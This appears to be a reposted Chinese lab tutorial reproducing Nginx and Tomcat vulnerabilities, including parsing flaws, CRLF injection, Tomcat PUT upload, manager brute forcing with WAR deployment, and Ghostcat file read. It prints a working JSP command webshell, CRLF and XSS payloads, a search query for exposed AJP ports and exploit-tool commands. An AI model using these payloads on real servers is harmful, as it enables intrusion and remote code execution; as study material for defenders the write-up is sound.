中间件安全Tomcat&Nginx解析&爆破&CVE漏洞
Posted 遗憾zzz
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件安全Tomcat&Nginx解析&爆破&CVE漏洞相关的知识,希望对你有一定的参考价值。
一、Nginx-漏洞-解析&CVE-2013-4547
Nginx 解析漏洞原理
1、由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。
2、但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/test.png’。
3、最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
漏洞复现
任意上传一个图片马,访问
增加/.php后缀,被解析成PHP文件:
Nginx 文件名逻辑漏洞(CVE-2013-4547)漏洞原理
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:
location ~ \\.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。
fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。
所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。
再举个例子,比如很多网站限制了允许访问后台的IP:
location /admin/ {
allow 127.0.0.1;
deny all;
}
我们可以请求如下URI:/test[0x20]/…/admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/…/admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫“test ”:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)
漏洞复现
这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个“1.jpg ”,注意后面的空格:
访问http://your-ip:8080/uploadfiles/2.jpg[0x20][0x00].php,即可发现PHP已被解析:
二、Nginx-配置-CRLF注入
Nginx-CRLF注入漏洞原理
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
location / {
return 302 https://$host$uri;
}
漏洞复现
环境搭建好之后,直接抓包查看,ip:192.168.111.130:8080
在请求行的url参数中加入特殊构造的CRLF字符如下
%0a%0dSet-Cookie=crlf=true
可以看到输入的恶意数据,作为响应首部字段返回给了客户端,原理就是当检测到%0d%0a
后,就认为url字段这行结束了,Set-Cookie就会被认为是下一行
所以构造xss payload
%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>/
就可以看到xss代码被写入了html代码中
CRLF注入脚本自动检测
CRLFuzz:https://github.com/dwisiswant0/crlfuzz/releases
使用方法:直接 -u 加上url地址就行
CRLF注入参考:https://blog.csdn.net/weixin_37968613/article/details/107470182
三、Tomcat-漏洞-CVE2017-2020(PUT写入)
Tomcat-CVE2017-2020漏洞原理
在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码
参考:
https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
漏洞复现
搭建好环境如下
虽然Tomcat在一定程度上会检查文件后缀(不能直接写jsp),但我们仍然可以通过一些文件系统特性(比如使用 /在 Linux 中)直接发送以下数据包,shell就会写入Web根目录。
jsp一句话 ?pwd=123&cmd=id
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
四、Tomcat-配置-弱口令&爆破
Tomcat 支持通过后端部署war 文件,所以我们可以直接将webshell 放到web 目录中。 为了访问后端,需要权限。
Tomcat7+的权限如下:
manager(后台管理)
manager-gui(html页面权限)
manager-status(查看状态的权限)
manager-script(文本界面权限和状态权限)
manager-jmx(jmx 权限和状态权限)
host-manager(虚拟主机管理)
admin-gui(html页面权限)
admin-script(文本界面权限)
要了解有关权限的更多信息,请阅读:http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
用户权限配置在 conf/tomcat-users.xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
可以看出,用户tomcat拥有上述所有权限,密码为 tomcat.
正常安装Tomcat8默认没有用户,管理页面只允许本地IP访问。 只有管理员手动修改了这些属性,我们才能进行攻击。
弱口令&爆破复现
搭好环境如下
打开tomcat管理页面 http://your-ip:8080/manager/html
我们抓包会发现这里的用户名和密码和平时的数据不一样,它进行了base64加密
base64解密就出现了我们输入的tomcat:123,为了实现爆破我们发送到Intruder模块
这里选择自定义模块,第一添加用户名
第二就是以冒号为间隔
第三添加密码
最后在Payload Processing选择对上面的字典进行编码
记住最后这里把勾勾去掉,不然就不会把==进行编码
完事之后发送数据包
base解密出来用户名密码tomcat进行登陆
在这里部署war上传shell
jar -cvf shell.war 1.jsp
就这样getshell
五、Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)
Ghostcat 长亭 是 科技安全研究员发现的Tomcat中的一个严重漏洞。 由于 Tomcat AJP 协议中的一个缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件。 例如,攻击者可以读取 webapp 配置文件或源代码。 此外,如果目标Web应用程序具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码。
参考:
https://www.chaitin.cn/en/ghostcat
https://www.cnvd.org.cn/webinfo/show/5415
https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
漏洞信息收集
Fofa:"tomcat" && port="8009"
Apache Tomcat 6
影响版本
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
漏洞检测工具:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
漏洞复现
搭建好环境如下
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.111.130 -p 8009 -f /WEB-INF/web.xml
表示存在任意文件读取/包含漏洞
以上是关于中间件安全Tomcat&Nginx解析&爆破&CVE漏洞的主要内容,如果未能解决你的问题,请参考以下文章
[漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞